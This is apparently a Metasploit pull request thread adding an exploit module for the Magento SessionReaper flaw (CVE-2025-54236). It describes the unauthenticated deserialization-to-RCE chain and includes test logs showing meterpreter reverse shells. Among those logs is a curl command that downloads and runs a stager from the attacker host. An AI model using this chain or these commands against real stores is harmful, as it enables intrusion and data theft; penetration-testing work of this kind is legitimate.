Add Magento SessionReaper (CVE-2025-54236) exploit module

[Chocapikk]

Hello Metasploit Team,

This PR adds a new exploit module for CVE-2025-54236 (SessionReaper), a critical vulnerability in Magento/Adobe Commerce that allows unauthenticated remote code execution.

The vulnerability stems from improper handling of nested deserialization in the payment method context, combined with an unauthenticated file upload endpoint. The exploit chain consists of:

1. Uploading a malicious PHP session file containing a Guzzle/FW1 deserialization payload via the unauthenticated /customer/address_file/upload endpoint
2. Triggering deserialization by sending a crafted JSON payload to the REST API endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the session savePath to point to the uploaded file
3. Executing the uploaded PHP code to gain remote code execution

This module supports multiple targets:

• PHP In-Memory (php/meterpreter/reverse_tcp)
• Unix/Linux Command Shell (cmd/linux/http/x64/meterpreter/reverse_tcp)
• Windows Command Shell (cmd/windows/http/x64/meterpreter/reverse_tcp)

The module includes:

• Automatic vulnerability detection via the check() method
• Support for both PHP and command payloads
• Complete documentation with real-world examples
• Automatic file cleanup using FileDropper mixin

The module has been tested against Magento 2.4.4 and passes all code quality checks (msftidy, rubocop, msftidy_docs).

Thanks

[dledda-r7]

@Chocapikk Welcome back 🔥

[jheysel-r7]

Great work @Chocapikk. Testing was as expected

Testing

PHP Target

msf exploit(multi/http/magento_sessionreaper) > set TARGET 0
TARGET => 0
msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_c3fb3992f5cc0a1c7f345d1a1443fb68
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/orZQ3.php
[*] Sending stage (41224 bytes) to 172.16.199.1
[+] Deleted orZQ3.php
[+] Deleted media/customer_address/s/e/sess_c3fb3992f5cc0a1c7f345d1a1443fb68
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:58027) at 2025-12-08 10:51:27 -0800

Linux Target

msf exploit(multi/http/magento_sessionreaper) > set TARGET 1
TARGET => 1
msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/magento_sessionreaper) > set verbose true
verbose => true
run msf exploit(multi/http/magento_sessionreaper) > run
[*] Command to run on remote host: curl -so ./xBCMazylYe http://172.16.199.1:8080/Hn-8qIL46e0vZdQpIHPToA;chmod +x ./xBCMazylYe;./xBCMazylYe&
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /Hn-8qIL46e0vZdQpIHPToA
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_7799d6d53785e66b64e7fd933e3a02cf
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/F7Gux.php
[*] Client 172.16.199.1 requested /Hn-8qIL46e0vZdQpIHPToA
[*] Sending payload to 172.16.199.1 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.16.199.1
[+] Deleted F7Gux.php
[+] Deleted media/customer_address/s/e/sess_7799d6d53785e66b64e7fd933e3a02cf
[+] Deleted xBCMazylYe
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:54588) at 2025-12-08 10:32:31 -0800

meterpreter > getuid
sysinServer username: www-data
fo
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 11.5 (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Check Command in Isolation:

msf exploit(multi/http/magento_sessionreaper) > check
[*] 127.0.0.1:8082 - The target appears to be vulnerable. Target returned 500 error with SessionHandler

[jheysel-r7]

Is file-based sessions storage enabled by default? I think it would be worth explicitly mention that detail here.